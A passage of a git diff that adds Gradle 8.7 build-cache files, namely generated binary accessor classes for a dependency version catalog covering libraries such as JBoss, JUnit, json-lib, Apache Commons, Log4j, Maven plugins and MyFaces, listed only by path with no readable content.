b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketJavaxWebsocketVersionAccessors.class new file mode 100644 index 0000000..de28f46 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketJavaxWebsocketVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketLibraryAccessors.class new file mode 100644 index 0000000..02f3d65 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketVersionAccessors.class new file mode 100644 index 0000000..446d95f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JavaxWebsocketVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JbossJbossLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JbossJbossLibraryAccessors.class new file mode 100644 index 0000000..7fbc351 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JbossJbossLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JbossJbossVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JbossJbossVersionAccessors.class new file mode 100644 index 0000000..cccbbb0 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JbossJbossVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JbossLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JbossLibraryAccessors.class new file mode 100644 index 0000000..7ae65d5 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JbossLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JbossVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JbossVersionAccessors.class new file mode 100644 index 0000000..c5c94a5 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JbossVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JunitLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JunitLibraryAccessors.class new file mode 100644 index 0000000..e4c06c5 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JunitLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JunitVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JunitVersionAccessors.class new file mode 100644 index 0000000..78c1137 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$JunitVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetJodahLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetJodahLibraryAccessors.class new file mode 100644 index 0000000..8c2fed1 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetJodahLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetJodahVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetJodahVersionAccessors.class new file mode 100644 index 0000000..7ebebd2 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetJodahVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetLibraryAccessors.class new file mode 100644 index 0000000..9fea8da Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibJsonLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibJsonLibraryAccessors.class new file mode 100644 index 0000000..a67b004 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibJsonLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibJsonVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibJsonVersionAccessors.class new file mode 100644 index 0000000..3d243ae Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibJsonVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibLibraryAccessors.class new file mode 100644 index 0000000..a989a80 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibVersionAccessors.class new file mode 100644 index 0000000..a1a8b38 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibraryAccessors.class new file mode 100644 index 0000000..a00de4d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonVersionAccessors.class new file mode 100644 index 0000000..2c305b0 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfJsonVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfLibraryAccessors.class new file mode 100644 index 0000000..fca4824 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfVersionAccessors.class new file mode 100644 index 0000000..89609f3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetSfVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetVersionAccessors.class new file mode 100644 index 0000000..8a9ab0c Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$NetVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheClickClickLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheClickClickLibraryAccessors.class new file mode 100644 index 0000000..5078769 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheClickClickLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheClickClickVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheClickClickVersionAccessors.class new file mode 100644 index 0000000..1599d6e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheClickClickVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheClickLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheClickLibraryAccessors.class new file mode 100644 index 0000000..a719010 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheClickLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheClickVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheClickVersionAccessors.class new file mode 100644 index 0000000..637c249 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheClickVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheCommonsCommonsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheCommonsCommonsLibraryAccessors.class new file mode 100644 index 0000000..f50b0a7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheCommonsCommonsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheCommonsCommonsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheCommonsCommonsVersionAccessors.class new file mode 100644 index 0000000..438c177 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheCommonsCommonsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheCommonsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheCommonsLibraryAccessors.class new file mode 100644 index 0000000..022c20b Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheCommonsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheCommonsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheCommonsVersionAccessors.class new file mode 100644 index 0000000..c7a0b82 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheCommonsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLibraryAccessors.class new file mode 100644 index 0000000..78634c4 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLibraryAccessors.class new file mode 100644 index 0000000..1500427 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLog4jLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLog4jLibraryAccessors.class new file mode 100644 index 0000000..93e9c14 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLog4jLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLog4jLog4jLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLog4jLog4jLibraryAccessors.class new file mode 100644 index 0000000..b00174e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLog4jLog4jLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLog4jLog4jVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLog4jLog4jVersionAccessors.class new file mode 100644 index 0000000..f9fb0e2 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLog4jLog4jVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLog4jVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLog4jVersionAccessors.class new file mode 100644 index 0000000..09cc5f5 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingLog4jVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingVersionAccessors.class new file mode 100644 index 0000000..17041f3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheLoggingVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenLibraryAccessors.class new file mode 100644 index 0000000..1a4ed7c Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsLibraryAccessors.class new file mode 100644 index 0000000..c85191f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsMavenAssemblyLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsMavenAssemblyLibraryAccessors.class new file mode 100644 index 0000000..e4442c1 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsMavenAssemblyLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsMavenAssemblyVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsMavenAssemblyVersionAccessors.class new file mode 100644 index 0000000..c79ca13 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsMavenAssemblyVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsMavenLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsMavenLibraryAccessors.class new file mode 100644 index 0000000..e8fbd27 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsMavenLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsMavenVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsMavenVersionAccessors.class new file mode 100644 index 0000000..b17af53 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsMavenVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsVersionAccessors.class new file mode 100644 index 0000000..ac69c3a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenPluginsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenVersionAccessors.class new file mode 100644 index 0000000..d0bb590 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMavenVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesCoreLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesCoreLibraryAccessors.class new file mode 100644 index 0000000..b8f396e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesCoreLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesCoreMyfacesLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesCoreMyfacesLibraryAccessors.class new file mode 100644 index 0000000..be2f7d7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesCoreMyfacesLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesCoreMyfacesVersionAccessors.class 